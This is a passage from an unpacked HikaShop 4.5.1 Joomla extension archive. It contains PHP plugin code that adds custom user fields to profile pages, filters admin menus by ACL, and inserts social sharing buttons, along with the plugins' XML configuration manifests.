					define('DS', DIRECTORY_SEPARATOR);
				if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php'))
					die('You cannot call plugins of the groups hikashop, hikashoppayment or hikashopshipping without HikaShop on the website.');
			}
		}

		if($option == 'com_finder') {
			$lang = JFactory::getLanguage();
			$lang->load('com_hikashop', JPATH_SITE, null, true);
		}

		if(version_compare(JVERSION,'4.0','>=') && $app->isClient('administrator'))
			return true;
		if(version_compare(JVERSION,'4.0','<') && $app->isAdmin())
			return true;

		if(($option != 'com_user' || $view != 'user' || $task != 'edit') && ($option != 'com_users' || $view != 'profile' || $layout != 'edit'))
			return;

		$display = $this->params->get('fields_on_user_profile');
		if(is_null($display))
			$display = 1;

		if(empty($display) || $display=='0')
			return;

		if(!defined('DS'))
			define('DS', DIRECTORY_SEPARATOR);
		if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php'))
			return true;

		$user = hikashop_loadUser(true);
		$fieldsClass = hikashop_get('class.field');
		$extraFields = array(
			'user' => $fieldsClass->getFields('frontcomp',$user,'user')
		);
		if(empty($extraFields['user']))
			return;

		$null = array();
		$fieldsClass->addJS($null,$null,$null);
		$fieldsClass->jsToggle($extraFields['user'],$user,0);
		$requiredFields = array();
		$validMessages = array();
		$values = array('user' => $user);
		$fieldsClass->checkFieldsForJS($extraFields, $requiredFields, $validMessages, $values);
		$fieldsClass->addJS($requiredFields, $validMessages, array('user'));

		foreach($extraFields['user'] as $fieldName => $oneExtraField) {
			$fieldsClass->display($oneExtraField, @$user->$fieldName, 'data[user]['.$fieldName.']', false, '',false, $extraFields['user'], $user);
		}
	}

	public function onAfterRender() {
		$app = JFactory::getApplication();

		if(version_compare(JVERSION,'3.0','>=')) {
			$option = $app->input->getCmd('option', '');
			$view = $app->input->getCmd('view', '');
			$task = $app->input->getCmd('task', '');
			$layout = $app->input->getCmd('layout', '');
		} else {
			$option = JRequest::getCmd('option', '');
			$view = JRequest::getCmd('view', '');
			$task = JRequest::getCmd('task', '');
			$layout = JRequest::getCmd('layout', '');
		}

		if(version_compare(JVERSION,'4.0','>=') && $app->isClient('administrator'))
			return true;
		if(version_compare(JVERSION,'4.0','<') && $app->isAdmin())
			return true;

		if(($option != 'com_user' || $view != 'user' || $task != 'edit') && ($option != 'com_users' || $view != 'profile' || $layout != 'edit'))
			return;

		$display = $this->params->get('fields_on_user_profile');
		if(is_null($display))
			$display = 1;

		if(empty($display) || $display=='0')
			return;

		$body = '';
		if(class_exists('JResponse'))
			$body = JResponse::getBody();
		$alternate_body = false;
		if(empty($body)){
			$app = JFactory::getApplication();
			$body = $app->getBody();
			$alternate_body = true;
		}
		if(strpos($body, 'class="form-validate') === false)
			return;

		if(!defined('DS'))
			define('DS', DIRECTORY_SEPARATOR);
		if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php'))
			return true;

		$user = hikashop_loadUser(true);
		$fieldsClass = hikashop_get('class.field');
		$extraFields = array(
			'user' => $fieldsClass->getFields('frontcomp',$user,'user')
		);
		if(empty($extraFields['user']))
			return;

		$null = array();
		$fieldsClass->addJS($null,$null,$null);
		$fieldsClass->jsToggle($extraFields['user'],$user,0);
		$requiredFields = array();
		$validMessages = array();
		$values = array('user' => $user);
		$fieldsClass->checkFieldsForJS($extraFields, $requiredFields, $validMessages, $values);
		$fieldsClass->addJS($requiredFields, $validMessages, array('user'));

		$data = '';
		if(HIKASHOP_J30)
			$data .= '<fieldset class="hikashop_user_edit"><legend>'.JText::_('HIKASHOP_USER_DETAILS').'</legend><dl>';
		else
			$data .= '<fieldset class="hikashop_user_edit"><legend>'.JText::_('HIKASHOP_USER_DETAILS').'</legend>';

		foreach($extraFields['user'] as $fieldName => $oneExtraField) {
			if(HIKASHOP_J30)
				$data .= '<div class="control-group hikashop_registration_' . $fieldName. '_line" id="hikashop_user_' . $fieldName. '"><div class="control-label"><label>'.$fieldsClass->getFieldName($oneExtraField).'</label></div><div class="controls">';
			else
				$data .= '<dt><label>'.$fieldsClass->getFieldName($oneExtraField).'</label></dt><dd class="hikashop_registration_' . $fieldName. '_line" id="hikashop_user_' . $fieldName. '">';

			$onWhat='onchange';
			if($oneExtraField->field_type=='radio')
				$onWhat='onclick';
			$data .= $fieldsClass->display($oneExtraField,@$user->$fieldName,'data[user]['.$fieldName.']',false,' '.$onWhat.'="window.hikashop.toggleField(this.value,\''.$fieldName.'\',\'user\',0);"',false,$extraFields['user'],$user);

			if(HIKASHOP_J30)
				$data .= '</div></div>';
			else
				$data .= '</dd>';
		}
		if(HIKASHOP_J30)
			$data .= '</dl></fieldset>';
		else
			$data .= '</fieldset>';

		$body = preg_replace('#(<form[^>]*class="form-validate.*"[^>]*>.*</(fieldset|table)>)#Uis','$1'.$data, $body,1);
		if($alternate_body)
			$app->setBody($body);
		else
			JResponse::setBody($body);
	}

	 public function onPreprocessMenuItems($name, &$items, $params = null, $enabled = true) {
		if($name != 'com_menus.administrator.module' )
			return;

	 	$remove = array();
	 	foreach($items as $k => $item) {
	 		switch($item->link) {
				case 'index.php?option=com_hikashop&ctrl=update':
	 				if(!$this->_isAllowed('acl_update_about_view'))
						$remove[] = $k;
					break;
				case 'index.php?option=com_hikashop&ctrl=documentation':
	 				if(!$this->_isAllowed('acl_documentation_view'))
						$remove[] = $k;
					break;
				case 'index.php?option=com_hikashop&ctrl=discount':
	 				if(!$this->_isAllowed('acl_discount_view'))
						$remove[] = $k;
					break;
				case 'index.php?option=com_hikashop&ctrl=config':
	 				if(!$this->_isAllowed('acl_config_view'))
						$remove[] = $k;
					break;
				case 'index.php?option=com_hikashop&ctrl=order&order_type=sale&filter_partner=0':
	 				if(!$this->_isAllowed('acl_order_view'))
						$remove[] = $k;
					break;
				case 'index.php?option=com_hikashop&ctrl=user&filter_partner=0':
	 				if(!$this->_isAllowed('acl_user_view'))
						$remove[] = $k;
					break;
				case 'index.php?option=com_hikashop&ctrl=category&filter_id=product':
	 				if(!$this->_isAllowed('acl_category_view'))
						$remove[] = $k;
					break;
				case 'index.php?option=com_hikashop&ctrl=product':
	 				if(!$this->_isAllowed('acl_product_view'))
						$remove[] = $k;
					break;
				default:
					break;
			}
		}
		if(!count($remove))
			return;

		foreach($remove as $r) {
			unset($items[$r]);
		}
	}

	public function onPrivacyCollectAdminCapabilities() {
		$lang = JFactory::getLanguage();
		$lang->load('com_hikashop', JPATH_SITE, null, true);
		$capabilities = array(
			'HikaShop' => array(
				JText::_('HIKASHOP_PRIVACY_CAPABILITY_IP_ADDRESS'),
				JText::_('HIKASHOP_PRIVACY_CAPABILITY_ADDRESS'),
			),
		);
		return $capabilities;
	}
	private function _config($value, $default = 'all') {
		static $config = null;
		if(!isset($config)) {
			$query = 'SELECT * FROM #__hikashop_config WHERE config_namekey IN(
				\'acl_update_about_view\',
				\'acl_documentation_view\',
				\'acl_discount_view\',
				\'acl_config_view\',
				\'acl_order_view\',
				\'acl_user_view\',
				\'acl_category_view\',
				\'acl_product_view\',
				\'inherit_parent_group_access\'
			)';
			$database = JFactory::getDBO();
			$database->setQuery($query);
			$config = $database->loadObjectList('config_namekey');
		}
		return (isset($config[$value]) ? $config[$value]->config_value : $default);
	}

	private function _isAllowed($acl){
		$allowedGroups = $this->_config($acl);

		if($allowedGroups == 'all') return true;
		if($allowedGroups == 'none') return false;
		$id = null;

		if(!is_array($allowedGroups)) $allowedGroups = explode(',',$allowedGroups);

		jimport('joomla.access.access');
		$my = JFactory::getUser($id);
		$userGroups = JAccess::getGroupsByUser($my->id, (bool)$this->_config('inherit_parent_group_access', false));

		$inter = array_intersect($userGroups,$allowedGroups);
		if(empty($inter)) return false;
		return true;
	}
}
PK!�O�o��hikashopuser/hikashopuser.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="2.5" type="plugin" group="system" method="upgrade">
	<name>User - HikaShop</name>
	<creationDate>29 avril 2022</creationDate>
	<version>4.5.1</version>
	<author>HikaShop</author>
	<authorEmail>dev@hikashop.com</authorEmail>
	<authorUrl>http://www.hikashop.com</authorUrl>
	<copyright>(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
	<description>HikaShop User plugin to automatically synchronise the Joomla Users and the HikaShop ones</description>
	<files>
		<filename plugin="hikashopuser">hikashopuser.php</filename>
	</files>
	<params addpath="/components/com_hikashop/params">
		<param name="fields_on_user_profile" type="radio" default="1" label="HIKA_DISPLAY_CUSTOM_USER_FIELDS" description="DISPLAY_CUSTOM_USER_FIELDS">
			<option value="0">HIKASHOP_NO</option>
			<option value="1">HIKASHOP_YES</option>
		</param>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_hikashop/fields">
			<fieldset name="basic">
				<field name="fields_on_user_profile" type="radio" default="1" label="HIKA_DISPLAY_CUSTOM_USER_FIELDS" description="DISPLAY_CUSTOM_USER_FIELDS" class="btn-group btn-group-yesno">
					<option value="0">HIKASHOP_NO</option>
					<option value="1">HIKASHOP_YES</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK!?O%��6�6!hikashopsocial/hikashopsocial.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" version="1.5" method="upgrade" group="system">
	<name>System - Hikashop Social Plugin</name>
	<creationDate>29 avril 2022</creationDate>
	<version>4.5.1</version>
	<author>Hikashop</author>
	<authorEmail>dev@hikashop.com</authorEmail>
	<authorUrl>http://www.hikashop.com</authorUrl>
	<copyright>(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
	<description>This plugin enables you to add a Facebook "like" button and a Twitter button</description>
	<files>
		<filename plugin="hikashopsocial">hikashopsocial.php</filename>
	</files>
	<params addpath="/components/com_hikashop/params">
		<param name="display_fb" type="radio" default="1" label="HIKA_DISPLAY_FACEBOOK_BUTTON" description="DISPLAY_FACEBOOK_BUTTON">
			<option value="0">HIKASHOP_NO</option>
			<option value="1">HIKASHOP_YES</option>
			<option value="2">OPEN_GRAPH_META_ONLY</option>
		</param>
		<param name="display_twitter" type="radio" default="1" label="HIKA_DISPLAY_TWITTER_BUTTON" description="DISPLAY_TWITTER_BUTTON">
			<option value="0">HIKASHOP_NO</option>
			<option value="1">HIKASHOP_YES</option>
		</param>
		<param name="display_google" type="radio" default="1" label="HIKA_DISPLAY_GOOGLE_BUTTON" description="DISPLAY_GOOGLE_BUTTON">
			<option value="0">HIKASHOP_NO</option>
			<option value="1">HIKASHOP_YES</option>
		</param>
		<param name="display_pinterest" type="radio" default="1" label="HIKA_DISPLAY_PINTEREST_BUTTON" description="DISPLAY_PINTEREST_BUTTON">
			<option value="0">HIKASHOP_NO</option>
			<option value="1">HIKASHOP_YES</option>
		</param>
		<param name="display_addThis" type="radio" default="1" label="HIKA_DISPLAY_ADDTHIS_BUTTON" description="DISPLAY_ADDTHIS_BUTTON">
			<option value="0">HIKASHOP_NO</option>
			<option value="1">HIKASHOP_YES</option>
		</param>
		<param name="position" type="list" default="0" label="HIKA_SOCIAL_BUTTON_POSITION" description="SOCIAL_BUTTON_POSITION">
			<option value="0">HIKA_LEFT</option>
			<option value="1">HIKA_RIGHT</option>
		</param>
		<param name="width" type="text" default="0" label="PRODUCT_WIDTH" description="SOCIAL_WIDTH_DIV" />
		<param name="@spacer" type="spacer" default="" label="" description="" />
		<param name="fb_tag" type="radio" default="xfbml" label="HIKA_SOCIAL_TAG_TYPE" description="SOCIAL_TAG_TYPE">
			<option value="xfbml">SOCIAL_TAG_TYPE_XFBML</option>
			<option value="ifram">SOCIAL_TAG_TYPE_IFRAME</option>
		</param>
		<param name="fb_style" type="list" default="0" label="HIKA_FACEBOOK_DISPLAY_STYLE" description="FACEBOOK_DISPLAY_STYLE">
			<option value="0">FACEBOOK_DISPLAY_STYLE_STANDARD</option>
			<option value="1">FACEBOOK_DISPLAY_STYLE_BUTTON_COUNT</option>
			<option value="2">FACEBOOK_DISPLAY_STYLE_BOX_COUNT</option>
			<option value="3">FACEBOOK_DISPLAY_STYLE_BUTTON</option>
		</param>
		<param name="fb_faces" type="radio" default="1" label="HIKA_SHOW_FACEBOOK_FACES" description="SHOW_FACEBOOK_FACES">
			<option value="0">HIKASHOP_NO</option>
			<option value="1">HIKASHOP_YES</option>
		</param>
		<param name="fb_send" type="radio" default="0" label="HIKA_SHOW_SEND_BUTTON" description="SHOW_SEND_BUTTON">
			<option value="0">HIKASHOP_NO</option>
			<option value="1">HIKASHOP_YES</option>
		</param>
		<param name="fb_verb" type="list" default="0" label="HIKA_VERB_TO_DISPLAY" description="VERB_TO_DISPLAY">
			<option value="0">SOCIAL_VERB_LIKE</option>
			<option value="1">SOCIAL_VERB_RECOMMEND</option>
		</param>
		<param name="fb_mode" type="list" default="fb-like" label="HIKA_DISPLAY_MODE" description="DISPLAY_MODE_FOR_XFBML">
			<option value="fb-like">HIKA_DEFAULT</option>
			<option value="fb-share-button">SHARE_BUTTON_ONLY</option>
		</param>
		<param name="fb_theme" type="list" default="0" label="HIKA_COLOR_THEME" description="COLOR_THEME">
			<option value="0">THEME_LIGHT</option>
			<option value="1">tHEME_DARK</option>
		</param>
		<param name="fb_font" type="list" default="0" label="HIKA_FACEBOOK_BUTTON_FONT" description="FACEBOOK_BUTTON_FONT">
			<option value="0">Arial</option>
			<option value="1">Lucida grande</option>
			<option value="2">segoe ui</option>
			<option value="3">Tahoma</option>
			<option value="4">Trebuchet ms</option>
			<option value="5">Verdana</option>
		</param>
		<param name="fb_type" type="list" default="0" label="PRODUCT_TYPE" description="SOCIAL_PRODUCT_TYPE">
			<option value="0">SOCIAL_PRODUCT_TYPE_PRODUCT</option>
			<option value="1">SOCIAL_PRODUCT_TYPE_ALBUM</option>
			<option value="2">SOCIAL_PRODUCT_TYPE_BOOK</option>
			<option value="3">SOCIAL_PRODUCT_TYPE_COMPANY</option>
			<option value="4">SOCIAL_PRODUCT_TYPE_DRINK</option>
			<option value="5">SOCIAL_PRODUCT_TYPE_GAME</option>
			<option value="6">SOCIAL_PRODUCT_TYPE_MOVIE</option>
			<option value="7">SOCIAL_PRODUCT_TYPE_SONG</option>
		</param>
		<param name="admin" type="text" default="" label="HIKA_FACEBOOK_ADMIN" description="FACEBOOK_ADMIN" />
		<param name="@spacer" type="spacer" default="" label="" description="" />
		<param name="twitter_count" type="list" default="0" label="HIKA_TWITTER_COUNT_DISPLAY" description="TWITTER_COUNT_DISPLAY">
			<option value="0">HORIZONTAL</option>
			<option value="1">VERTICAL</option>
			<option value="2">HIKA_NONE</option>
		</param>
		<param name="twitter_text" type="text" default="" label="HIKA_TWEET_TEXT" description="TWEET_TEXT" />
		<param name="twitter_mention" type="text" default="" label="HIKA_MENTION_TO" description="MENTION_TO" />
		<param name="@spacer" type="spacer" default="" label="" description="" />
		<param name="google_size" type="list" default="0" label="HIKA_GOOGLE_BUTTON_SIZE" description="GOOGLE_BUTTON_SIZE">
			<option value="0">BUTTON_SIZE_STANDARD</option>
			<option value="1">BUTTON_SIZE_SMALL</option>
			<option value="2">BUTTON_SIZE_MEDIUM</option>
			<option value="3">BUTTON_SIZE_TALL</option>
		</param>
		<param name="google_count" type="radio" default="1" label="HIKA_SHOW_GOOGLE_COUNT" description="SHOW_GOOGLE_COUNT">
			<option value="0">HIKASHOP_NO</option>
			<option value="1">HIKASHOP_YES</option>
		</param>
		<param name="@spacer" type="spacer" default="" label="" description="" />
		<param name="pinterest_display" type="list" default="0" label="HIKA_PINTEREST_COUNT_DISPLAY" description="PINTEREST_COUNT_DISPLAY">
			<option value="0">HORIZONTAL</option>
			<option value="1">VERTICAL</option>
			<option value="2">HIKA_NONE</option>
		</param>
		<param name="@spacer" type="spacer" default="" label="" description="" />
		<param name="addThis_display" type="list" default="0" label="HIKA_ADDTHIS_DISPLAY" description="ADDTHIS_DISPLAY">
			<option value="0">ADDTHIS_DISPLAY_COMPACT</option>
			<option value="1">ADDTHIS_DISPLAY_BIG</option>
			<option value="2">ADDTHIS_DISPLAY_COUNT</option>
		</param>
		<param name="services_exclude" type="text" default="" label="HIKA_SOCIAL_SERVICES_EXCLUDE" description="SOCIAL_SERVICES_EXCLUDE" />
	</params>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field name="display_fb" type="radio" default="1" label="HIKA_DISPLAY_FACEBOOK_BUTTON" description="DISPLAY_FACEBOOK_BUTTON" class="btn-group btn-group-yesno">
					<option value="0">HIKASHOP_NO</option>
					<option value="1">HIKASHOP_YES</option>
					<option value="2">OPEN_GRAPH_META_ONLY</option>
				</field>
				<field name="display_twitter" type="radio" default="1" label="HIKA_DISPLAY_TWITTER_BUTTON" description="DISPLAY_TWITTER_BUTTON" class="btn-group btn-group-yesno">
					<option value="0">HIKASHOP_NO</option>
					<option value="1">HIKASHOP_YES</option>
				</field>
				<field name="display_google" type="radio" default="1" label="HIKA_DISPLAY_GOOGLE_BUTTON" description="DISPLAY_GOOGLE_BUTTON" class="btn-group btn-group-yesno">
					<option value="0">HIKASHOP_NO</option>
					<option value="1">HIKASHOP_YES</option>
				</field>
				<field name="display_pinterest" type="radio" default="1" label="HIKA_DISPLAY_PINTEREST_BUTTON" description="DISPLAY_PINTEREST_BUTTON" class="btn-group btn-group-yesno">
					<option value="0">HIKASHOP_NO</option>
					<option value="1">HIKASHOP_YES</option>
				</field>
				<field name="display_addThis" type="radio" default="1" label="HIKA_DISPLAY_ADDTHIS_BUTTON" description="DISPLAY_ADDTHIS_BUTTON" class="btn-group btn-group-yesno">
					<option value="0">HIKASHOP_NO</option>
					<option value="1">HIKASHOP_YES</option>
				</field>
				<field name="position" type="list" default="0" label="HIKA_SOCIAL_BUTTON_POSITION" description="SOCIAL_BUTTON_POSITION">
					<option value="0">HIKA_LEFT</option>
					<option value="1">HIKA_RIGHT</option>
				</field>
				<field name="width" type="text" default="0" label="PRODUCT_WIDTH" description="SOCIAL_WIDTH_DIV" />
				<field name="spacer1" type="spacer"	hr="true"/>
				<field name="fb_tag" type="radio" default="xfbml" label="HIKA_SOCIAL_TAG_TYPE" description="SOCIAL_TAG_TYPE">
					<option value="xfbml">SOCIAL_TAG_TYPE_XFBML</option>
					<option value="iframe">SOCIAL_TAG_TYPE_IFRAME</option>
				</field>
				<field name="fb_style" type="list" default="0" label="HIKA_FACEBOOK_DISPLAY_STYLE" description="FACEBOOK_DISPLAY_STYLE">
					<option value="0">FACEBOOK_DISPLAY_STYLE_STANDARD</option>
					<option value="1">FACEBOOK_DISPLAY_STYLE_BUTTON_COUNT</option>
					<option value="2">FACEBOOK_DISPLAY_STYLE_BOX_COUNT</option>
					<option value="3">FACEBOOK_DISPLAY_STYLE_BUTTON</option>
				</field>
				<field name="fb_faces" type="radio" default="1" label="HIKA_SHOW_FACEBOOK_FACES" description="SHOW_FACEBOOK_FACES" class="btn-group btn-group-yesno">
					<option value="0">HIKASHOP_NO</option>
					<option value="1">HIKASHOP_YES</option>
				</field>
				<field name="fb_send" type="radio" default="0" label="HIKA_SHOW_SEND_BUTTON" description="SHOW_SEND_BUTTON" class="btn-group btn-group-yesno">
					<option value="0">HIKASHOP_NO</option>
					<option value="1">HIKASHOP_YES</option>
				</field>
				<field name="fb_verb" type="list" default="0" label="HIKA_VERB_TO_DISPLAY" description="VERB_TO_DISPLAY">
					<option value="0">SOCIAL_VERB_LIKE</option>
					<option value="1">SOCIAL_VERB_RECOMMEND</option>
				</field>
				<field name="fb_mode" type="list" default="fb-like" label="HIKA_DISPLAY_MODE" description="DISPLAY_MODE_FOR_XFBML">
					<option value="fb-like">HIKA_DEFAULT</option>
					<option value="fb-share-button">SHARE_BUTTON_ONLY</option>
				</field>
				<field name="fb_theme" type="list" default="0" label="HIKA_COLOR_THEME" description="COLOR_THEME">
					<option value="0">THEME_LIGHT</option>
					<option value="1">THEME_DARK</option>
				</field>
				<field name="fb_font" type="list" default="0" label="HIKA_FACEBOOK_BUTTON_FONT" description="FACEBOOK_BUTTON_FONT">
					<option value="0">Arial</option>
					<option value="1">Lucida grande</option>
					<option value="2">segoe ui</option>
					<option value="3">Tahoma</option>
					<option value="4">Trebuchet ms</option>
					<option value="5">Verdana</option>
				</field>
				<field name="fb_type" type="list" default="0" label="PRODUCT_TYPE" description="SOCIAL_PRODUCT_TYPE">
					<option value="0">SOCIAL_PRODUCT_TYPE_PRODUCT</option>
					<option value="1">SOCIAL_PRODUCT_TYPE_ALBUM</option>
					<option value="2">SOCIAL_PRODUCT_TYPE_BOOK</option>
					<option value="3">SOCIAL_PRODUCT_TYPE_COMPANY</option>
					<option value="4">SOCIAL_PRODUCT_TYPE_DRINK</option>
					<option value="5">SOCIAL_PRODUCT_TYPE_GAME</option>
					<option value="6">SOCIAL_PRODUCT_TYPE_MOVIE</option>
					<option value="7">SOCIAL_PRODUCT_TYPE_SONG</option>
				</field>
				<field name="admin" type="text" default="" label="HIKA_FACEBOOK_ADMIN" description="FACEBOOK_ADMIN" />
				<field name="spacer2" type="spacer"	hr="true"/>
				<field name="twitter_count" type="list" default="0" label="HIKA_TWITTER_COUNT_DISPLAY" description="TWITTER_COUNT_DISPLAY">
					<option value="0">HORIZONTAL</option>
					<option value="1">VERTICAL</option>
					<option value="2">HIKA_NONE</option>
				</field>
				<field name="twitter_text" type="text" default="" label="HIKA_TWEET_TEXT" description="TWEET_TEXT" />
				<field name="twitter_mention" type="text" default="" label="HIKA_MENTION_TO" description="MENTION_TO" />
				<field name="spacer3" type="spacer"	hr="true"/>
				<field name="google_size" type="list" default="0" label="HIKA_GOOGLE_BUTTON_SIZE" description="GOOGLE_BUTTON_SIZE">
					<option value="0">BUTTON_SIZE_STANDARD</option>
					<option value="1">BUTTON_SIZE_SMALL</option>
					<option value="2">BUTTON_SIZE_MEDIUM</option>
					<option value="3">BUTTON_SIZE_TALL</option>
				</field>
				<field name="google_count" type="radio" default="1" label="HIKA_SHOW_GOOGLE_COUNT" description="SHOW_GOOGLE_COUNT" class="btn-group btn-group-yesno">
					<option value="0">HIKASHOP_NO</option>
					<option value="1">HIKASHOP_YES</option>
				</field>
				<field name="spacer4" type="spacer"	hr="true"/>
				<field name="pinterest_display" type="list" default="0" label="HIKA_PINTEREST_COUNT_DISPLAY" description="PINTEREST_COUNT_DISPLAY">
					<option value="0">HORIZONTAL</option>
					<option value="1">VERTICAL</option>
					<option value="2">HIKA_NONE</option>
				</field>
				<field name="spacer5" type="spacer"	hr="true"/>
				<field name="addThis_display" type="list" default="0" label="HIKA_ADDTHIS_DISPLAY" description="ADDTHIS_DISPLAY">
					<option value="0">ADDTHIS_DISPLAY_COMPACT</option>
					<option value="1">ADDTHIS_DISPLAY_BIG</option>
					<option value="2">ADDTHIS_DISPLAY_COUNT</option>
				</field>
				<field name="services_exclude" type="text" default="" label="HIKA_SOCIAL_SERVICES_EXCLUDE" description="SOCIAL_SERVICES_EXCLUDE" />
			</fieldset>
		</fields>
	</config>
</extension>
PK!Y���4M4M!hikashopsocial/hikashopsocial.phpnu�[���<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
jimport('joomla.plugin.plugin');
class plgSystemHikashopsocial extends JPlugin {
	var $meta = array();
	var $headScripts = array();

	function __construct(&$subject, $params) {
		parent::__construct($subject, $params);
	}

	function onAfterRender() {
		$app = JFactory::getApplication();

		if(version_compare(JVERSION,'3.0','>=')) {
			$option = $app->input->getVar('option');
			$ctrl = $app->input->getVar('ctrl');
			$task = $app->input->getVar('task');
		} else {
			$option = JRequest::getVar('option');
			$ctrl = JRequest::getVar('ctrl');
			$task = JRequest::getVar('task');
		}
		if(version_compare(JVERSION,'4.0','>=')) {
			$admin = $app->isClient('administrator');
		} else {
			$admin = $app->isAdmin();
		}

		if($admin || !in_array($option, array('com_hikashop', 'com_hikamarket', '')) || !in_array($ctrl, array('product', 'category', 'vendor')) || !in_array($task, array('show', 'listing')))
			return;

		if(!defined('HIKASHOP_COMPONENT'))
			return;

		if(class_exists('JResponse'))
			$body = JResponse::getBody();
		$alternate_body = false;
		if(empty($body)){
			$body = $app->getBody();
			$alternate_body = true;
		}
		if(strpos($body,'{hikashop_social}') === false)
			return;

		$pluginsClass = hikashop_get('class.plugins');
		$plugin = $pluginsClass->getByName('system', 'hikashopsocial');
		if(!isset($plugin->params['position'])) {
			$default = array(
				'position' => 0,
				'display_twitter' => 1,
				'display_pinterest' => 1,
				'display_fb' => 1,
				'display_google' => 1,
				'fb_style' => 0,
				'fb_faces' => 1,
				'fb_verb' => 0,
				'fb_theme' => 0,
				'fb_font' => 0,
				'fb_type' => 0,
				'fb_mode' => 'fb-like',
				'twitter_count' => 0,
				'google_size' => 2,
				'google_count' => 1
			);

			if(empty($plugin->params))
				$plugin->params = array();
			$plugin->params = array_merge($plugin->params, $default);
		}
		if(!isset($plugin->params['fb_send']))
			$plugin->params['fb_send'] = 0;
		if(!isset($plugin->params['fb_tag']))
			$plugin->params['fb_tag'] = 'iframe';

		$html = array(
			$this->_addTwitterButton($plugin),
			$this->_addPinterestButton($plugin),
			$this->_addGoogleButton($plugin),
			$this->_addAddThisButton($plugin),
			$this->_addFacebookButton($plugin)
		);

		$styles = 'text-align:left;';
		if($plugin->params['position'] == 1) {
			$styles = 'text-align:right;';
			if(!empty($plugin->params['width']) && (int)$plugin->params['width'] > 0)
				$styles .= 'width:'.(int)$plugin->params['width'].'px';
			else
				$styles .= 'width:100%';
		}

		$html = implode('', $html);

		if(!empty($html))
			$html = '<div id="hikashop_social" style="'.$styles.'">' . $html . '</div>';

		$body = str_replace('{hikashop_social}', $html, $body);

		if(!empty($plugin->params['display_fb'])) {
			$body = str_replace('<html ', '<html xmlns:fb="https://www.facebook.com/2008/fbml" xmlns:og="http://ogp.me/ns# " xmlns:fb="http://ogp.me/ns/fb#" ', $body);
			if($plugin->params['fb_tag'] == "xfbml" && $plugin->params['display_fb'] != 2) {
				$mainLang = JFactory::getLanguage();
				$tag = str_replace('-', '_', $mainLang->get('tag'));
				$fb = '
<div id="fb-root"></div>
<script>
(function(d,s,id) {
	var js, fjs = d.getElementsByTagName(s)[0];
	if(d.getElementById(id)) return;
	js = d.createElement(s); js.id = id;
	js.src = "//connect.facebook.net/'.$tag.'/all.js#xfbml=1";
	fjs.parentNode.insertBefore(js, fjs);
}(document, "script", "facebook-jssdk"));
</script>';
				$body = preg_replace('#<body.*>#Us', '$0'.$fb, $body);
			}
		}

		if(!empty($this->headScripts))
			$body = str_replace('</head>', implode("\r\n", $this->headScripts)."\r\n".'</head>', $body);

		if(!empty($this->meta)) {
			$meta = array();
			foreach($this->meta as $k => $v) {
				if(strpos($body, $k) === false)
					$meta[] = $v;
			}
			if(!empty($meta))
				$body = str_replace('</head>', implode("\r\n", $meta)."\r\n".'</head>', $body);
		}
		if($alternate_body){
			$app->setBody($body);
		}else{
			JResponse::setBody($body);
		}

	}

	function _addAddThisButton(&$plugin) {
		if(empty($plugin->params['display_addThis']))
			return '';

		$var = array();
		$vars = '';
		if(!empty($plugin->params['services_exclude']))
			$var[] = 'services_exclude: "'.$plugin->params['services_exclude'].'"';
		if(!empty($var))
			$vars = '<script type="text/javascript">var addthis_config = { '.implode(';',$var).' }</script>';
		$this->headScripts['addThis'] = '<script type="text/javascript" src="//s7.addthis.com/js/250/addthis_widget.js"></script>'.$vars;

		$class = '';
		$divClass = '';
		$atClass = '';
		$endDiv = '';

		if($plugin->params['addThis_display'] == 0)
			$atClass = 'addthis_button_compact';

		if($plugin->params['addThis_display'] == 1) {
			$atClass = 'addthis_button_compact';
			$divClass = '<div class="addthis_default_style addthis_toolbox addthis_32x32_style">';
			$endDiv = '</div>';
		}

		if($plugin->params['addThis_display'] == 2)
			$atClass = 'addthis_counter';

		if($plugin->params['position'] == 1)
			$class = '_right';

		return '<span class="hikashop_social_addThis'.$class.'" >'.$divClass.'<a class="'.$atClass.'"></a>'.$endDiv.'</span>';
	}

	function _addGoogleButton(&$plugin) {
		if(empty($plugin->params['display_google']))
			return '';

		$mainLang = JFactory::getLanguage();
		$tag = $mainLang->get('tag');
		if(!in_array($tag, array('zh-CN', 'zh-TW', 'en-GB', 'en-US', 'pt-BR', 'pt-PT')))
			$tag = strtolower(substr($tag, 0, 2));
		$lang = '{"lang": "'.$tag.'"}';
		$this->headScripts['google'] = '<script type="text/javascript" src="https://apis.google.com/js/plusone.js">'.$lang.'</script>';

		$count = empty($plugin->params['google_count']) ? 'false' : 'true';

		$c = 'hikashop_social_google';
		if($plugin->params['position'] == 1)
			$c = 'hikashop_social_google_right';

		$size = '';
		$sizes = array( 0 => 'standard', 1 => 'small', 2 => 'medium', 3 => 'tall' );
		if(isset($sizes[ (int)$plugin->params['google_size'] ]))
			$size = 'size="' . $sizes[ (int)$plugin->params['google_size'] ] . '"';

		return '<span class="'.$c.'"><g:plusone '.$size.' count="'.$count.'"></g:plusone></span>';
	}

	function _addPinterestButton(&$plugin) {
		if(empty($plugin->params['display_pinterest']))
			return '';

		$element = $this->_getElementInfo();
		$imageUrl = $this->_getImageURL($element);

		$this->headScripts['pinterest'] = '<script type="text/javascript" src="//assets.pinterest.com/js/pinit.js"></script>';

		$c = '';
		if($plugin->params['position'] == 1)
			$c = '_right';

		$layouts = array(0 => 'horizontal', 1 => 'vertical', 2 => 'none');
